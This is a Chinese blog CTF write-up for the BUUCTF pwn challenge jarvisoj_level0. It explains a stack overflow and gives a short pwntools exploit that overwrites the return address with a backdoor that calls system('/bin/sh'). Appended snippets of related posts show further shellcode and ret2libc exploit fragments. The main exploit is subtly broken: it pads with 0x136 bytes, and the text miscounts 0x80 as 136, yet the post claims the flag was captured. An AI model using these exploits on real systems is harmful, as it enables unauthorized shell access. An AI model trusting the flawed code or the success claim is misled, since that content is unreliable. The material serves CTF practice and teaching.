BUUCTF-----jarvisoj_level01

已于 2023-06-17 02:40:16 修改
阅读量206 收藏
点赞数
文章标签： python vim
于 2023-06-17 02:39:22 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52333044/article/details/131256079
版权

一开始运行不行：

 首先得给它加权限

然后再运行 

然后就file  分析它得到是64位的IDA

扔进IDA 查看程序：

查看vulner_function函数

发现 buf输入是0x80(136) 而read能输入最大字数是0x200(512),可能存在栈溢出漏洞，发现后门函数system("/bin/sh")，

 然后只要read函数的ret address 为后门函数的地址。

写exp

from pwn import*

io=remote("node4.buuoj.cn",27653)

payload='a'*0x136+p64(0x0400596)

io.sendline(payload)
io.interactive()
然后就得到flag

 

殇ベ言清欢
关注
BUUCTF_jarvisoj_level1
qq_39869547的博客
02-06 1001
和原题的差别在于，远程不回显栈地址。直接常规栈溢出即可 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from LibcSearcher import * elf = ELF("./level1") shellcode = asm(shellcraft.sh()) io = remote("node3.buuoj.c...
BUUCTF----jarvisoj_level3_x64
qq_33010875的博客
09-26 499
环境：WSL2，ubuntu16.04，python2 checksec文件： 这道题level3的思路一样，只是32位的程序改成了64位。 也就是说，在利用write函数泄露出libc的基地址时，需要用到寄存器来穿参数，write有三个参数，所以需要rdi，rsi，rdx三个寄存器，通过命令： ROPgadget --binary level3_x64 |grep "pop" 结果： 从图中可以看到只找到了rdi和rsi寄存器，没有rdx寄存器 尝试gdb程序： 在read函数下断点，可以看到rd
[BUUCTF]PWN——jarvisoj_level1
mcmuyanga的博客
11-09 1618
jarvisoj_level1 附件 步骤： 例行检查，32位程序，没有开任何保护 本地运行一下程序，看看大概的情况，可以看到输出了一个地址 32位ida载入，习惯性的检索程序里的字符串，没有发现可以直接利用的gates， main函数开始看程序 function函数 参数buf存在明显的溢出漏洞，程序还将buf参数的地址给了我们 由于没有开启nx，所以我们可以先通过read读入shellcode，然后利用溢出漏洞将ret覆盖为buf参数地址（此时buf里是shellcode）去执行即可
[BUUCTF-pwn]——jarvisoj_level1
Y_peak的博客
03-17 443
[BUUCTF-pwn]——jarvisoj_level1 题目地址：https://buuoj.cn/challenges#jarvisoj_level1 第一种直接构造shellcode writeup 第二种泄露libc进行操作 from pwn import * from LibcSearcher import * p = remote("node3.buuoj.cn",26361) #p = process("./level1") elf = ELF("./level1") #libc = E
jarvisoj_level1
、moddemod
07-06 388
这题我写这个exp是在ubuntu18的环境下写的，远程和本地的IO交互的数据不太一样，下面的exp在远程可以拿到shell，本地可能需要修改一下… exp from pwn import * from LibcSearcher import * context.log_level = 'debug' proc_name = './level1' p = process(proc_name) # p = remote('node3.buuoj.cn', 29850) elf = ELF(proc_na.
buuctf ---- jarvisoj_level（全）
L0g1c的博客
01-22 3659
buuctf ----- jarvisoj_level0 运行一下程序 使用64位的IDA查看程序 查看vulner_function函数 发现buf存在溢出漏洞，buf是0x80，read了0x200 存在栈溢出漏洞 发现后门函数system("/bin/sh")，解题思路：修改read函数的ret address 为后门函数的地址。 编写exp from pwn import* io=remote("node4.buuoj.cn",26034) sys_addr=0x0400596 pa
BUUCTF---jarvisoj_level4
qq_33010875的博客
09-26 294
环境：WSL2，ubuntu16.04，python2 checksec文件: 将文件拖入ida 溢出点： 和level3不同的是 read函数之前没有调用write函数，因此要泄露libc的基地址需要用read函数，利用write函数将read函数在got表中的地址泄露出来 payload = (0x88+0x04)*'a'+p32(write_plt)+p32(main_addr)+p(1)+p32(read_got)+p(4) 接受泄露出来的地址 read_addr = u32(io.recv(
【BUUCTF - PWN】jarvisoj_level0
古月浪子的博客
04-05 703
checksec一下，栈溢出 IDA打开看看，很明显的溢出和后门函数，一道白给题 from pwn import * from LibcSearcher import * context.os='linux' context.arch='amd64' context.log_level='debug' sl=lambda x:io.sendline(x) rl=lambda :io.rec...
BUUCTF jarvisoj_level0
m0_54262894的博客
10-27 317
先checksec，仅开启了NX保护 运行一下 放入ida中 查看main函数 没有什么关键信息，双击vulnerable_function() 在这里我们看到了漏洞 buf定义了80个字节，而我们可以输入更多的数据 接着找找后门函数 这道题很简单，已经把后门给我们展示出来了 记住后门函数的地址0x400596 做完以上步骤我们就有思路了： 覆盖buf 的80个字节 因为是64位的文件，然后再加8个字节...
[BUUCTF]PWN-jarvisoj_level4
红凳子的博客
04-07 541
[BUUCTF]PWN-jarvisoj_level4前言一、程序分析二、漏洞利用方法一：使用LibcSearcher寻找libc版本方法二：使用DynELF函数进行泄露 前言 在这篇文章中将学习到劫持read函数、使用LibcSearcher寻找libc版本和DynELF函数的使用 提示：以下是本篇文章正文内容，下面案例可供参考 一、程序分析 从中可以看出，32位程序，i386架构，开启了NX保护。 输入点在vulnerable_function里，read试图向长度0x88的地址空间写入0x10
BUUCTF刷题之路-jarvisoj_level01
qq_30528603的博客
05-27 274
看到个read函数，而且能输入的最大字节数为512字节。而buf我们看到是128字节的限度，那应该是存在栈溢出的问题。而且我们直接看到有个后门函数，和前面几题的套路如出一辙。
铁人三项_第五赛区_2018_rop
z1r0的博客
12-05 170
铁人三项_第五赛区_2018_rop 查看保护 溢出，ret2libc from pwn import * context(arch='i386', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn', 27080) else: r = process(file_name) elf = ELF(file_name) def dbg(
PWN_JarvisOJ_Level1
michaelinfinity的博客
03-13 798
首先nc一下 之后我们来看ida反编译 在“Hello,World!\n”之前有一个vulnerable_function，进去之后查看一下这个函数 可以看出来刚刚出现的奇怪的地址是buf的首地址（%p是返回参数地址的），那么我们就要查看一下buf。 从中能看出buf有0x88的字节，并且返回指令在+0004的位置，所以需要填充0x88+4的字节 这个题目中没有syste...
BUUCTF Pwn jarvisoj_level01
最新发布
2301_81505831的博客
02-04 368
查看之后发现是64位的ELF文件，只开启了一个NX保护，不影响栈溢出，直接放入IDA64进行反编译。发现buf变量分配的空间只有0x80，而read函数的第三个参数是0x200，会造成溢出。可以看到起始地址是400596，我们将其覆盖return的地址就会调用其函数。按shift+F12,出现下面的信息，双击/bin/sh。"node5.buuoj.cn",25586是靶机信息。双击vulnerable_function。双击callsystem函数。在python脚本中输入。
Jarvis OJ 之 level1
weixin_43464124的博客
04-22 284
首先介绍一下pwntools的一个用法吧算是。 from pwn import* shellcraft.sh() 然后，pwntools这个只能工具就会帮你写出一串shellcode来。 大致是这样的： u" /* execve(path='/bin///sh', argv=['sh'], envp=0) */\n /* push '/bin///sh\\x00' */\n p...
Jarvis OJ level1
Kni9hT's Blog
11-08 612
要点：使用shellcraft.i386()来编写shellcode 和level0相比，本题没有system函数可以直接调用。 所以我们要发送shellcode来getshell 首先看一下开了哪些保护。(好吧，不出意料是全裸) 然后IDA里面看函数调用，main()函数先调用了vulnerable_function函数。 vulnerable_function： text:0804847B ...
[buuctf]jarvisoj_level0
逆向萌新的博客
05-30 511
[buuctf]jarvisoj_level0
GRACE Level-2 处理标准：地球重力恢复与气候实验
"GRACE Level-2 Processing Standards Document_CSR.pdf" 是一份关于地球重力恢复与气候实验（Gravity Recovery and Climate Experiment，简称GRACE）的处理标准手册，由美国德克萨斯大学奥斯汀分校的Center for ...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值